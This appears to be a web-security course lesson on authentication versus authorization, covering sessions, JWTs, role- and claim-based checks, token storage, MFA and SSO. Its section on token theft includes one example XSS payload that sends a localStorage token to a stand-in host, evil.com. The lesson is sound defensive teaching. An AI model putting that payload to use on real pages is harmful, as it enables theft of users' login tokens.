Web Security & Ethical Hacking · Lesson 7 of 23
Authentication vs Authorisation — The Core Difference
The One-Sentence Difference
- Authentication (AuthN): "Who are you?" — verifying identity.
- Authorization (AuthZ): "What are you allowed to do?" — enforcing permissions.
They sound similar. They are entirely different problems solved by different mechanisms. Confusing them is one of the most common sources of security bugs.
Example: You log into a hospital portal (authentication). The system then decides whether you can view patient records, or only your own appointments (authorization). Proving you are Dr. Smith does not automatically grant you access to every patient — the authorization layer decides that separately.
How Sessions Work (Server-Side State)
A session is a server-side record of who is logged in. Here is the full flow:
- User submits username and password.
- Server verifies credentials against the database.
- Server creates a session record in memory or a database:
{ sessionId: "abc123", userId: 42, createdAt: ..., expiresAt: ... } - Server sends the
sessionIdto the browser as a cookie:Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax - On every subsequent request, the browser sends the cookie automatically.
- Server looks up
abc123in the session store, finds userId 42, knows who this is.
Browser Server Session Store
| | |
| POST /login | |
| { user, pass } ---------> | |
| | verify credentials |
| | create session --------> |
| | | { id: abc123, userId: 42 }
| Set-Cookie: session=abc123 | |
| <--------------------------- | |
| | |
| GET /dashboard | |
| Cookie: session=abc123 --> | |
| | lookup abc123 -----------> |
| | <--- { userId: 42 } ------- |
| 200 OK (user 42's data) | |
| <--------------------------- | |Logout means deleting the session from the store. The cookie becomes an orphan — it points to nothing. If you only delete the client-side cookie, the session still exists server-side and can be reused by anyone who has the value.
How Tokens Work (Client-Side State)
A token (typically a JWT — JSON Web Token) puts the state on the client, not the server. The server does not store anything.
A JWT has three base64-encoded parts: header.payload.signature
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjQyLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTM4MDAwMDB9.xK9p...
^--- header (alg) ^--- payload (claims) ^--- signatureThe payload contains claims — facts about the user the server encoded:
{
"userId": 42,
"role": "admin",
"exp": 1713800000
}The server signs the token with a secret key. On every request, the server re-verifies the signature. If it checks out, the claims are trusted — no database lookup needed.
// Generating a JWT in ASP.NET Core
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new[]
{
new Claim("userId", user.Id.ToString()),
new Claim(ClaimTypes.Role, user.Role)
}),
Expires = DateTime.UtcNow.AddHours(1),
SigningCredentials = new SigningCredentials(
new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secretKey)),
SecurityAlgorithms.HmacSha256)
};
var token = tokenHandler.CreateToken(tokenDescriptor);Revoking a JWT is the hard part. Because the server holds no state, there is no "session store" to delete from. Common approaches: short expiry times (15–60 minutes) + refresh tokens, or a token blocklist (which partially reintroduces server state).
Authorization: Roles, Claims, and Policies
Once authentication establishes who the user is, authorization decides what they can do.
Role-Based Access Control (RBAC)
Users are assigned roles. Resources require roles.
// ASP.NET Core — requiring a role on an endpoint
[Authorize(Roles = "Admin")]
[HttpDelete("/users/{id}")]
public IActionResult DeleteUser(int id) { ... }
// Only users with the Admin role can reach this endpoint
// A logged-in user without the Admin role gets 403 ForbiddenClaims-Based Authorization
More granular. Instead of just a role, you check specific claims.
// Policy that requires a specific claim
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("CanDeleteInvoices", policy =>
policy.RequireClaim("permission", "invoices:delete"));
});
[Authorize(Policy = "CanDeleteInvoices")]
[HttpDelete("/invoices/{id}")]
public IActionResult DeleteInvoice(int id) { ... }Resource-Based Authorization
The most precise level — checking if the specific user owns the specific resource.
// JavaScript (Express) — resource-level check
app.get('/invoices/:id', authenticate, async (req, res) => {
const invoice = await db.invoices.findById(req.params.id);
// Authentication told us who the user is (req.user.id)
// Authorization checks if they own THIS specific resource
if (!invoice || invoice.ownerId !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}
res.json(invoice);
});Where to Store Tokens — Cookies vs localStorage
This is one of the most debated security questions in frontend development. Here is the honest trade-off:
| Storage | XSS Vulnerable | CSRF Vulnerable | Notes |
|---------|---------------|-----------------|-------|
| HttpOnly Cookie | No | Yes (mitigated by SameSite) | Best for session tokens |
| localStorage | Yes | No | JavaScript can always read it |
| sessionStorage | Yes | No | Cleared on tab close |
| In-memory (JS variable) | Yes (during session) | No | Lost on page refresh |
The recommendation: Store tokens in HttpOnly cookies with SameSite=Lax and Secure. This prevents XSS from stealing the token and mitigates CSRF.
localStorage is acceptable for non-sensitive tokens (e.g., a public API key) but not for session or auth tokens. A single XSS vulnerability on any page of your app can steal everything in localStorage.
Session Hijacking and Token Theft
Session hijacking is when an attacker obtains a valid session ID and uses it to impersonate the user. Attack vectors:
- Network sniffing: Capturing cookies over unencrypted HTTP. Prevented by
Secureflag and HTTPS. - XSS: Injecting a script that reads
document.cookie. Prevented byHttpOnlyflag. - Predictable session IDs: If session IDs are sequential or guessable, attackers enumerate them. Use cryptographically random IDs (128-bit+).
Token theft targets JWTs in localStorage. An XSS payload like this is all it takes:
// Attacker's injected script
fetch('https://evil.com/steal?token=' + localStorage.getItem('auth_token'));Once a JWT is stolen, the attacker has a valid token until it expires. This is why short expiry times matter.
Multi-Factor Authentication (MFA)
MFA requires two or more verification factors from different categories:
- Something you know: password, PIN
- Something you have: TOTP app, hardware key, SMS code
- Something you are: fingerprint, face ID
TOTP (Time-Based One-Time Password)
Apps like Google Authenticator or Authy generate a 6-digit code that changes every 30 seconds. The secret is shared once (via QR code) and both sides use the current time to independently compute the same code.
This is far more secure than SMS codes, which can be intercepted via SIM swapping.
Hardware Keys (FIDO2 / WebAuthn)
Physical devices (YubiKey, etc.) that perform cryptographic challenge-response. Near-impossible to phish — the key only responds to the legitimate domain. Used by high-security environments.
Any MFA is better than no MFA. Even SMS MFA stops the vast majority of automated attacks.
Single Sign-On (SSO)
SSO lets users authenticate once and access multiple applications without re-entering credentials. Common protocols:
- OAuth 2.0: Authorization framework — "grant this app access to my Google Drive"
- OpenID Connect (OIDC): Authentication layer on top of OAuth 2.0 — "prove this user is who they say they are"
- SAML: Enterprise SSO (XML-based, used in corporate environments)
When a user logs in with Google on your app:
- You redirect them to Google's auth server.
- Google authenticates them (your code never sees the password).
- Google redirects back with an authorization code.
- Your server exchanges the code for an ID token (an OIDC JWT).
- You read the ID token to learn who the user is (their Google user ID, email, name).
The key insight: the identity provider (Google) handles authentication. Your app only handles authorization — what this verified user is allowed to do in your system.
The Bug That Mixes Them Up
The most dangerous confusion between authentication and authorization:
// WRONG — checking authentication but not authorization
[Authorize] // only checks: "are you logged in?"
[HttpGet("/admin/users")]
public IActionResult GetAllUsers()
{
return Ok(db.Users.ToList()); // any logged-in user can call this
}
// RIGHT — checking both
[Authorize(Roles = "Admin")] // checks: "are you logged in AND are you an admin?"
[HttpGet("/admin/users")]
public IActionResult GetAllUsers()
{
return Ok(db.Users.ToList());
}[Authorize] with no arguments only checks that the request is authenticated — it does nothing to restrict which authenticated users can access the endpoint. Always think: "logged in" is not the same as "allowed to do this specific thing."